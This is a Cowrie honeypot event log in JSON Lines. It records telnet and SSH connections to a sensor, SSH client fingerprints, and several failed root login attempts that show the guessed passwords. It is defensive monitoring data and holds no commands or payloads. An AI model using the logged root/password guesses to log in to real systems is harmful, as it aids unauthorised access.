{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54676,"dst_ip":"10.17.0.5","dst_port":23,"session":"c178b18509ff","protocol":"telnet","message":"New connection: 152.42.224.71:54676 (10.17.0.5:23) [session: c178b18509ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:56:01.990993Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54682,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b132095a07d","protocol":"telnet","message":"New connection: 152.42.224.71:54682 (10.17.0.5:23) [session: 5b132095a07d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:56:04.053208Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38066,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee6207e71f08","protocol":"telnet","message":"New connection: 152.42.224.71:38066 (10.17.0.5:23) [session: ee6207e71f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:56:05.845704Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38080,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d838ea4907d","protocol":"telnet","message":"New connection: 152.42.224.71:38080 (10.17.0.5:23) [session: 7d838ea4907d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:56:09.748045Z"}
{"eventid":"cowrie.session.closed","duration":17.839930295944214,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:56:21.893017Z","src_ip":"152.42.224.71","session":"5b132095a07d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34666,"dst_ip":"10.17.0.5","dst_port":23,"session":"69285360990a","protocol":"telnet","message":"New connection: 152.42.224.71:34666 (10.17.0.5:23) [session: 69285360990a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:56:29.963378Z"}
{"eventid":"cowrie.session.closed","duration":3.2228968143463135,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:56:33.186170Z","src_ip":"152.42.224.71","session":"69285360990a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.232436180114746,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:56:39.223310Z","src_ip":"152.42.224.71","session":"c178b18509ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":110.8665862083435,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:56:39.778746Z","src_ip":"152.42.224.71","session":"71812782823e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34378,"dst_ip":"10.17.0.5","dst_port":23,"session":"286f612e52b7","protocol":"telnet","message":"New connection: 152.42.224.71:34378 (10.17.0.5:23) [session: 286f612e52b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:56:44.692271Z"}
{"eventid":"cowrie.session.closed","duration":105.75494575500488,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:56:46.875154Z","src_ip":"152.42.224.71","session":"d24cd5336d61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.5773651599884,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:56:53.132332Z","src_ip":"152.42.224.71","session":"53d0e7345a60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.34669494628906,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:56:57.149251Z","src_ip":"152.42.224.71","session":"e06f1b2ce9b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.53082633018494,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:56:59.376388Z","src_ip":"152.42.224.71","session":"ee6207e71f08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51012,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddda1926dc14","protocol":"telnet","message":"New connection: 152.42.224.71:51012 (10.17.0.5:23) [session: ddda1926dc14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:57:02.373998Z"}
{"eventid":"cowrie.session.closed","duration":55.55250263214111,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:57:05.300368Z","src_ip":"152.42.224.71","session":"7d838ea4907d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49092,"dst_ip":"10.17.0.5","dst_port":23,"session":"58fcbf01ad75","protocol":"telnet","message":"New connection: 152.42.224.71:49092 (10.17.0.5:23) [session: 58fcbf01ad75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:57:08.631214Z"}
{"eventid":"cowrie.session.closed","duration":106.16638112068176,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:57:09.375597Z","src_ip":"152.42.224.71","session":"d29df3b2c8d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49102,"dst_ip":"10.17.0.5","dst_port":23,"session":"50971c97b9fe","protocol":"telnet","message":"New connection: 152.42.224.71:49102 (10.17.0.5:23) [session: 50971c97b9fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:57:14.662216Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57582,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f6260b4e547","protocol":"telnet","message":"New connection: 152.42.224.71:57582 (10.17.0.5:23) [session: 1f6260b4e547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:57:21.467975Z"}
{"eventid":"cowrie.session.closed","duration":120.00202417373657,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:57:22.354033Z","src_ip":"152.42.224.71","session":"c93bc695ae8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":35492,"dst_ip":"10.17.0.5","dst_port":22,"session":"24816f4f97fd","protocol":"ssh","message":"New connection: 103.27.238.114:35492 (10.17.0.5:22) [session: 24816f4f97fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:57:33.753738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:57:33.759147Z","src_ip":"103.27.238.114","session":"24816f4f97fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:57:34.030035Z","src_ip":"103.27.238.114","session":"24816f4f97fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60346,"dst_ip":"10.17.0.5","dst_port":23,"session":"2afcd349a8f6","protocol":"telnet","message":"New connection: 152.42.224.71:60346 (10.17.0.5:23) [session: 2afcd349a8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:57:34.149730Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdef","message":"login attempt [root/abcdef] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:57:34.840529Z","src_ip":"103.27.238.114","session":"24816f4f97fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:57:36.112666Z","src_ip":"103.27.238.114","session":"24816f4f97fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.20362854003906,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:57:36.577501Z","src_ip":"152.42.224.71","session":"ddda1926dc14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38120,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9fb6acadb77","protocol":"telnet","message":"New connection: 152.42.224.71:38120 (10.17.0.5:23) [session: c9fb6acadb77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:57:39.008948Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38128,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bf15599ca81","protocol":"telnet","message":"New connection: 152.42.224.71:38128 (10.17.0.5:23) [session: 8bf15599ca81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:57:40.948588Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44224,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b07a8151d1d","protocol":"telnet","message":"New connection: 152.42.224.71:44224 (10.17.0.5:23) [session: 6b07a8151d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:57:55.860092Z"}
{"eventid":"cowrie.session.closed","duration":52.46996521949768,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:01.101077Z","src_ip":"152.42.224.71","session":"58fcbf01ad75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":50232,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdb52da3e49c","protocol":"ssh","message":"New connection: 103.77.242.62:50232 (10.17.0.5:22) [session: cdb52da3e49c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:01.361426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:01.366302Z","src_ip":"103.77.242.62","session":"cdb52da3e49c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:01.609032Z","src_ip":"103.77.242.62","session":"cdb52da3e49c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kristi","message":"login attempt [root/kristi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:02.341232Z","src_ip":"103.77.242.62","session":"cdb52da3e49c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.22718000411987,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:02.695023Z","src_ip":"152.42.224.71","session":"1f6260b4e547","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.770812034606934,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:02.920436Z","src_ip":"152.42.224.71","session":"2afcd349a8f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60318,"dst_ip":"10.17.0.5","dst_port":23,"session":"f87abe5e446b","protocol":"telnet","message":"New connection: 152.42.224.71:60318 (10.17.0.5:23) [session: f87abe5e446b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:03.031736Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:03.585175Z","src_ip":"103.77.242.62","session":"cdb52da3e49c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.60543489456177,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:05.267510Z","src_ip":"152.42.224.71","session":"50971c97b9fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.525113344192505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:09.533941Z","src_ip":"152.42.224.71","session":"c9fb6acadb77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49434,"dst_ip":"10.17.0.5","dst_port":23,"session":"575c97dbebc7","protocol":"telnet","message":"New connection: 152.42.224.71:49434 (10.17.0.5:23) [session: 575c97dbebc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:20.878989Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49450,"dst_ip":"10.17.0.5","dst_port":23,"session":"04bf572912bb","protocol":"telnet","message":"New connection: 152.42.224.71:49450 (10.17.0.5:23) [session: 04bf572912bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:26.388994Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49892,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9df09d83388","protocol":"telnet","message":"New connection: 152.42.224.71:49892 (10.17.0.5:23) [session: d9df09d83388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:27.008842Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":33862,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ec11a1e3077","protocol":"ssh","message":"New connection: 193.228.128.84:33862 (10.17.0.5:22) [session: 9ec11a1e3077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:28.329904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:28.336770Z","src_ip":"193.228.128.84","session":"9ec11a1e3077","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:28.438827Z","src_ip":"193.228.128.84","session":"9ec11a1e3077","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1q1q1","message":"login attempt [root/q1q1q1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:28.746373Z","src_ip":"193.228.128.84","session":"9ec11a1e3077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:29.850536Z","src_ip":"193.228.128.84","session":"9ec11a1e3077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.123297214508057,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:34.002199Z","src_ip":"152.42.224.71","session":"575c97dbebc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":35136,"dst_ip":"159.203.135.109","dst_port":22,"session":"689b024bfbd4","protocol":"ssh","message":"New connection: 103.195.236.96:35136 (159.203.135.109:22) [session: 689b024bfbd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:37.410095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:37.414629Z","src_ip":"103.195.236.96","session":"689b024bfbd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:37.655604Z","src_ip":"103.195.236.96","session":"689b024bfbd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"slonik","message":"login attempt [root/slonik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:38.375557Z","src_ip":"103.195.236.96","session":"689b024bfbd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:39.617173Z","src_ip":"103.195.236.96","session":"689b024bfbd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.8844780921936,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:42.744346Z","src_ip":"152.42.224.71","session":"6b07a8151d1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60710,"dst_ip":"10.17.0.5","dst_port":23,"session":"b744299122ee","protocol":"telnet","message":"New connection: 152.42.224.71:60710 (10.17.0.5:23) [session: b744299122ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:43.194396Z"}
{"eventid":"cowrie.session.closed","duration":120.00278782844543,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:44.694884Z","src_ip":"152.42.224.71","session":"286f612e52b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.024776458740234,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:48.056417Z","src_ip":"152.42.224.71","session":"f87abe5e446b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":56110,"dst_ip":"10.17.0.5","dst_port":22,"session":"210d8b0c4c8c","protocol":"ssh","message":"New connection: 103.122.221.179:56110 (10.17.0.5:22) [session: 210d8b0c4c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:49.061384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:49.065772Z","src_ip":"103.122.221.179","session":"210d8b0c4c8c","protocol":"ssh"}
